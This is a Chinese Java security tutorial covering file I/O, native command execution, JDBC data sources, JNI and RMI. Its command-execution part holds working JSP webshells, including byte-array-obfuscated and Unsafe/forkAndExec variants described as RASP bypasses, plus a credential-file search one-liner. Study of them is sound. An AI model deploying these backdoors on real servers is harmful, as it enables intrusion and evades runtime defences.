可以通过FileReader
直接读取文件(int),或者也可以通过BufferedReader
直接读取
使用 java.io.BufferedReader 读取文件
java.io.BufferedReader
的简单使用刚才已经运用过了
BufferedReader
主要用于逐行读取文件,并且可以读取大文件BufferedReader
是同步的,也就是说多线程可操作
默认缓冲区大小为: 8KB ,因此可以安全地从多个线程完成对BufferedReader 的读取操作。
创建如下内容的BufferedReaderTest
类
import java.io.*;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
public class BufferedReaderTest {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath, StandardCharsets.UTF_8);
}
private static void readfile(String filePath, Charset charset) throws IOException {
File file = new File(filePath);
FileInputStream fileInputStream = new FileInputStream(file);
InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream, charset);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
System.out.println("使用BufferedReader :");
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
bufferedReader.close();
}
}
这里先以字节流方式读取文件,在将字节流转化为字符来输出文件内容
InputStreamReader
继承自Reader
类
- 将输入字节流
InputStream
(例如:FileInputStream、Socket.getInputStream)转化为字符输入流Reader
,从而可以按字符读取输入字节 - 支持设置字符集编码。在构造
InputStreamReader
,可以指定编码方式,来将字节转换为相应的字符
InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream, charset);
使用 Scanner 读取文件
Scanner
是基于正则来读取文件,该类不同步,不能多线程使用。
但可以用来逐行的读取文件,或者配合java正则表达式来读取文件
Scanner 类使用正则表达式作为分隔标记解析字符串,分隔符模式默认匹配空格。然后可以使用各种下一种方法将得到的标记转换成不同类型的值。Scanner 类不同步,因此不是线程安全的。
创建如下内容的ScannerTest
类
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Scanner;
public class ScannerTest {
public static void main(String[] args) throws IOException{
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
Path path = Paths.get(filePath);
Scanner scanner = new Scanner(path);
System.out.println("使用Scanner :");
while (scanner.hasNextLine()) {
String line = scanner.nextLine();
System.out.println(line);
}
scanner.close();
}
}
使用 RandomAccessFile 断点续传
随机流(RandomAccessFile)不属于IO流。
首先把随机访问的文件对象看作存储在文件系统中的一个大型byte数组,然后通过指向该byte数组的光标或索引(即文件指针 FilePointer)在该数组任意位置读取或写入任意数据。
断点续传原理:
- 下载断开的时候,记录文件断点的位置 position
- 继续下载的时候,通过RandomAccessFile 找到之前的position 位置开始下载
创建如下内容的RandomAccessFileTest
类
import java.io.IOException;
import java.io.RandomAccessFile;
public class RandomAccessFileTest {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "r");
String str;
while ((str = randomAccessFile.readLine()) != null) {
System.out.println("使用RandAccessfile断点续传 : ");
System.out.println(str);
}
randomAccessFile.close();
}
}
中文乱码是因为RandomAccessFile
读取文件的 readLine
方法默认使用 ISO-8859-1 编码
使用外部库 org.apache.commons.io.FileUtils.readFileToString()
使用commons-io
库可以非常简单地实现文件读取
但需要在pom.xml添加依赖:
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.11.0</version>
</dependency>
创建如下内容的ApachereadFile
类
import org.apache.commons.io.FileUtils;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
public class ApachereadFile {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
File file = new File(filePath);
System.out.println("使用common0-io读取数据 :");
System.out.println(FileUtils.readFileToString(file, StandardCharsets.UTF_8));
}
}
使用 Files.readString 读取文本
在Java 11
后出现了Files.readString
,也可以来读取文件
创建如下内容的ReadStringTest
类
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class ReadStringTest {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
Path path = Paths.get(filePath);
String string = Files.readString(path, StandardCharsets.UTF_8);
System.out.println("readString读取文件 : ");
System.out.println(string);
}
}
JAVA命令执行基础
同PHP中的system
、eval
等函数差不多,Java中也有JDK原生提供的命令执行方法,它们分别是:
- java.lang.Runtime
- java.lang.ProcessBuilder
- java.lang.UNIXProcess/ProcessImpl (需要反射调用)
java.lang.Runtime
Runtime是java.lang 中的一个类,主要是与操作系统交互执行操作命令。而在java.lang.Runtime 中的exec()
方法,可以用来执行具体的命令,包括以下六类形式:主要关注exec(String command)和exec(String[] cmdarray)这两种执行方式
示例如下:
exec(String command):
String command = "calc";
Runtime.getRuntime().exec(command);
exec(String[] cmdarray):
String[] command = {"cmd","/c","whoami"};
Runtime.getRuntime().exec(command);
构造后门:类似php,java也能构造命令执行后门
runtime-exec.jsp: <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
将上述代码放置在本地web文件夹,然后nc监听9000端口:nc -vv -l 9000
接着使用浏览器访问 :http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000 如此仅需一行代码一个简单的本地命令执行后门也就写好了。
显然这样的代码虽然简单,但是没有回显,不利于我们的操作。同php中的命令执行函数不同的是,这些java函数都没有回显,实战中经常需要通过dnslog等外带来判断该漏洞是否可以执行命令,得到命令输出
构造回显:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/5
Time: 6:21 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
执行效果如下:
为了直观地看到命令的结果,这里将结果通过getInputStream 和getErrorStream 用 BufferedReader 生成输出流,然后输出
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeTest {
public static void main(String[] args) throws IOException {
String cmdString = "cmd /c dir";
String cmdArgs[] = {"cmd", "/c", "ping", "www.baidu.com"};
cmdStringExec(cmdString);
cmdArgsExec(cmdArgs);
}
private static void cmdStringExec(String cmdString) throws IOException {
String line;
Runtime runtime = Runtime.getRuntime();
Process exec = runtime.exec(cmdString);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream(), "GBK"));
BufferedReader bufferedErrorReader = new BufferedReader(new InputStreamReader(exec.getErrorStream(), "GBK"));
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
while ((line = bufferedErrorReader.readLine()) != null) {
System.out.println(line);
}
}
private static void cmdArgsExec(String[] cmdArgs) throws IOException {
String line;
Runtime runtime = Runtime.getRuntime();
Process exec = runtime.exec(cmdArgs);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream(), "GBK"));
BufferedReader bufferedErrorReader = new BufferedReader(new InputStreamReader(exec.getErrorStream(), "GBK"));
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
while ((line = bufferedErrorReader.readLine()) != null) {
System.out.println(line);
}
}
}
使用 BufferedReader 的时候,命令并不是等待执行完之后得到的,而是一边执行,一边输出的。(以执行ping为例,它是逐渐输出结果的,而不是等代码执行完成才全部输出)
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime
相关的关键字,我们可以全部用反射代替。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
命令参数是str
,如:reflection-cmd.jsp?str=pwd
,程序执行结果同上。
java.lang.ProcessBuilder命令执行
在Runtime
命令执行的时候exec() 方法最终会调用ProcessBuilder
来执行本地命令
jsp代码:
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/6
Time: 10:26 上午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
请求命令:/bin/sh -c “cd /Users/;ls -la;”
请求参数:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd /Users/;ls -la
java代码:
如图,它有两种传参方式一种是传入字符串,一种是字符串列表
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class BuilderTest {
public static void main(String[] args) throws IOException{
List<String> cmdlists = new ArrayList<String>();
cmdlists.add("cmd");
cmdlists.add("/c");
cmdlists.add("ping www.baidu.com");
ProcessBuilder builder = new ProcessBuilder(cmdlists);
// ProcessBuilder builder = new ProcessBuilder().command("calc.exe");
Process process = builder.start();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
BufferedReader bufferErrorReader = new BufferedReader(new InputStreamReader(process.getErrorStream(), "GBK"));
String line;
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
while ((line = bufferErrorReader.readLine()) != null) {
System.out.println(line);
}
}
}
java.lang.UNIXProcess/ProcessImpl命令执行
在JDK9的时候把UNIXProcess
合并到了ProcessImpl
当中,所以二者可以理解为同一东西。
UNIXProcess
和ProcessImpl
其实就是最终调用native
执行系统命令的类,这个类提供了一个叫forkAndExec
的native方法,如方法名所述主要是通过fork&exec
来执行本地系统命令。但这种方法太底层了,无法直接调用,需要使用反射来调用
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Map;
public class ProcessImplExecTest {
public static void main(String[] args) throws Exception {
String[] cmds = {"cmd.exe","/c","ping www.baidu.com"};
Class c = Class.forName("java.lang.ProcessImpl");
Method m = c.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m.setAccessible(true);
Process invoke = (Process) m.invoke(null, cmds, null, ".", null, true);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(invoke.getInputStream(), "GBK"));
BufferedReader buffErrorReader = new BufferedReader(new InputStreamReader(invoke.getErrorStream(), "GBK"));
String line;
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
while ((line = buffErrorReader.readLine()) != null) {
System.out.println(line);
}
}
}
但在Java 9之后,Oracle引入了一个新的系统,称为Java Platform Module System(JPMS),它使得Java核心库内部的类和接口不再对默认情况下公开可见,除非明确声明为”open”。这是为了提供更好的封装和安全性。
也意味着通过反射来访问 java.lang.ProcessImpl.start 方法,这在Java 9及以上版本中是不允许的,因为 java.lang 包没有明确声明为”open”。需要添加一个命令行选项到您的JVM启动参数,来开放这个模块:
--add-opens java.base/java.lang=ALL-UNNAMED
否则就会报错:
反射UNIXProcess/ProcessImpl的 jsp代码示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
forkAndExec命令执行-Unsafe 反射 Native方法调用
如果RASP
把UNIXProcess/ProcessImpl
类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 构造
forkAndExec
需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
fork_and_exec.jsp
执行本地命令示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
命令执行效果如下:
Java数据库操作
Java中常见的数据库操作方式有:原生JDBC(繁琐)、Mybatis(便捷主流)
JDBC使用
JDBC(Java Database Connectivity)
是Java提供对数据库进行连接、操作的标准API (位于jdk 的java.sql 中)。不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。
传统的Web应用的数据库配置信息一般都是存放在WEB-INF
目录下的*.properties
、*.yml
、*.xml
中的,如果是Spring Boot
项目的话一般都会存储在jar包中的src/main/resources/
目录下。常见的存储数据库配置信息的文件路径如:WEB-INF/applicationContext.xml
、WEB-INF/hibernate.cfg.xml
、WEB-INF/jdbc/jdbc.properties
,一般情况下使用find命令加关键字可以轻松的找出来,如查找Mysql配置信息: find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"
。
JDBC 主要包括以下几个核心组件:
- java.sql.DriverManager:管理所有数据库的驱动注册,加载驱动并建立数据库连接
- java.sql.Connection:数据库连接成功后的对象,通过该对象可以创建 Statement 或 PreparedStatement 对象。一切对数据库的查询操作都将依赖于这个
Connection
对象 - Statement:用于执行静态 SQL 语句
- PreparedStatement:用于执行预编译的 SQL 语句,可防止 SQL 注入攻击
- ResultSet:用于存储查询结果集
JDBC 与MySQL 进行连接交互,通常为以下6 个流程:
- 注册驱动 (仅仅做一次)
- 建立连接(Connection)
- 创建运行 SQL 的语句(Statement)
- 运行语句
- 处理运行结果(ResultSet)
- 释放资源
示例:
1、先创建一个数据库:
CREATE DATABASE jdbcdemo;
USE jdbcdemo;
CREATE TABLE `user` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '唯一ID',
`username` varchar(25) NOT NULL COMMENT '用户名',
`password` varchar(25) NOT NULL COMMENT '密码',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
INSERT INTO user(id,username,password) VALUES (1, "root1", "roo1");
INSERT INTO user(id,username,password) VALUES (2, "root", "root");
INSERT INTO user(id,username,password) VALUES (3, "root2", "root2");
2、然后进行注册驱动:
DriverManager.registerDriver(newcom.mysql.jdbc.Driver())
在注册数据库驱动时,虽然使用上述语句方法可以完成,但会使数据库驱动被注册两次。这是因为Driver 类的源码中,已经在静态代码块中完成了数据库驱动的注册。所以,为了避免数据库驱动被重复注册,我们只需要在程序中加载驱动类即可,具体加载方式如下所示:
Class.forName("com.mysql.jdbc.Driver");
完整代码:
package com.example.jdbcdemo;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.sql.*;
public class JdbcDemo {
public static void main(String[] args) throws SQLException, ClassNotFoundException{
Class.forName("com.mysql.cj.jdbc.Driver");
String url = "jdbc:mysql://localhost:3306/jdbcdemo?useUnicode=true&characterEncoding=utf8";
String username = "root";
String password = "1234qwer";
Connection conn = DriverManager.getConnection(url, username, password);
Statement statement = conn.createStatement();
String sql = "SELECT * FROM user";
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()){
System.out.println("=============================");
System.out.println(resultSet.getInt("id"));
System.out.println(resultSet.getString("username"));
System.out.println(resultSet.getString("password"));
}
resultSet.close();
statement.close();
conn.close();
}
}
DataSource
在真实的Java项目中通常不会使用原生的JDBC
的DriverManager
去连接数据库,而是使用数据源(javax.sql.DataSource
)来代替DriverManager
管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource
对象即可获取数据库连接了。常见的数据源有:DBCP
、C3P0
、Druid
、Mybatis DataSource
,他们都实现于javax.sql.DataSource
接口。
1、Spring MVC 数据源
在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean
用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了。
在基于XML配置的SpringMVC中配置数据源:
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
<property name="url" value="${jdbc.url}"/>
<property name="username" value="${jdbc.username}"/>
<property name="password" value="${jdbc.password}"/>
....
/>
如上,我们定义了一个id为dataSource
的Spring Bean对象,username
和password
都使用了${jdbc.XXX}
表示,很明显${jdbc.username}
并不是数据库的用户名,这其实是采用了Spring的property-placeholder
制定了一个properties
文件,使用${jdbc.username}
其实会自动自定义的properties配置文件中的配置信息。
<context:property-placeholder location="classpath:/config/jdbc.properties"/>
jdbc.properties
内容:
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root
在Spring中我们只需要通过引用这个Bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource"
)就可以获取到上面定义的dataSource
。
<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
<property name="dataSource" ref="dataSource"/>
</bean>
SpringBoot配置数据源:
在SpringBoot中只需要在application.properties
或application.yml
中定义spring.datasource.xxx
即可完成DataSource配置。
spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
还有例如:Spring 数据源Hack
2、Java Web 数据源
除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource
信息并注册到JNDI(Java Naming and Directory Interface)
中,在Web应用中我们可以通过JNDI
的接口lookup(定义的JNDI路径)
来获取到DataSource
对象。
如:Tomcat JNDI DataSource
Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml
文件,参考:Tomcat JNDI Datasource
<Context>
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>
</Context>
此外还有:Resin JNDI DataSource、
JNI基础
Java语言是基于C语言实现的,Java底层的很多API都是通过JNI(Java Native Interface)
来实现的。通过JNI
接口C/C++
和Java
可以互相调用(存在跨平台问题)。Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。
JNI-定义native方法
首先在Java中如果想要调用native方法那么需要在类中先定义一个native
方法。什么是native方法呢:native方法是一种特殊的方法,它允许Java调用非Java代码,通常是C或C++语言编写的本地方法。这些方法在Java类中声明,但不在Java代码中实现,而是在本地库中实现,并通过Java Native Interface(JNI)与Java代码交互。如下就是简单的JNI
public class CommandExecution {
public static native String exec(String cmd);
}
JNI-生成类头文件
如上,我们已经编写好了CommandExecution.java
,现在我们需要编译并生成c语言头文件。
完整的步骤如下:
cd ./javaweb-sec/javaweb-sec-source/javase/src/main/java/
(换成自己本地的地址)。- vim或编辑器写入
./com/anbai/sec/cmd/CommandExecution.java
文件(该目录已存了一个注释掉的CommandExecution.java
取消掉代码注释就可以用了)。 javac -cp . com/anbai/sec/cmd/CommandExecution.java
。javah -d com/anbai/sec/cmd/ -cp . com.anbai.sec.cmd.CommandExecution
执行上面所述的命令后即可看到在com/anbai/sec/cmd/
目录已经生成了CommandExecution.class
和com_anbai_sec_cmd_CommandExecution.h
了。
头文件命名强制性:javah生成的头文件中的函数命名方式是有非常强制性的约束的,如Java_com_anbai_sec_cmd_CommandExecution_exec
中Java_
是固定的前缀,而com_anbai_sec_cmd_CommandExecution
也就代表着Java的完整包名称:com.anbai.sec.cmd.CommandExecution
,_exec
自然是表示的方法名称了。(JNIEnv *, jclass, jstring)
表示分别是JNI环境变量对象
、java调用的类对象
、参数入参类型
。
JNI-基础数据类型
需要特别注意的是Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java。
Java类型 | JNI类型 | C/C++类型 | 大小 |
---|---|---|---|
Boolean | Jblloean | unsigned char | 无符号8位 |
Byte | Jbyte | char | 有符号8位 |
Char | Jchar | unsigned short | 无符号16位 |
Short | Jshort | short | 有符号16位 |
Int | Jint | int | 有符号32位 |
Long | Jlong | long long | 有符号64位 |
Float | Jfloat | float | 32位 |
Double | Jdouble | double | 64位 |
java序列化与反序列化
Java在JDK1.1(1997年
)时就内置了对象反序列化(java.io.ObjectInputStream
)支持。Java对象序列化指的是将一个Java类实例序列化成字节数组
,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例
。Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket
传输。 在 RMI (Java远程方法调用-Java Remote Method Invocation)
和JMX(Java管理扩展-Java Management Extensions)
服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。
在Java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)
或java.io.Externalizable(外部序列化)
接口即可被序列化,其中java.io.Externalizable
接口只是实现了java.io.Serializable
接口。反序列化类对象时有如下限制:
serialVersionUID
值必须一致。- 被反序列化的类必须存在。
除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization
创建了一个反序列化专用的Constructor(反射构造方法对象)
,使用这个特殊的Constructor
可以绕过构造方法创建类实例(前面章节讲sun.misc.Unsafe
的时候我们提到了使用allocateInstance
方法也可以实现绕过构造方法创建类实例)。
RMI
RMI(Remote Method Invocation)
即Java
远程方法调用,RMI
用于构建分布式应用程序,RMI
实现了Java
程序之间跨JVM
的远程通信。
RMI架构:RMI
底层通讯采用了Stub(运行在客户端)
和Skeleton(运行在服务端)
机制,RMI
调用远程方法的大致如下:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
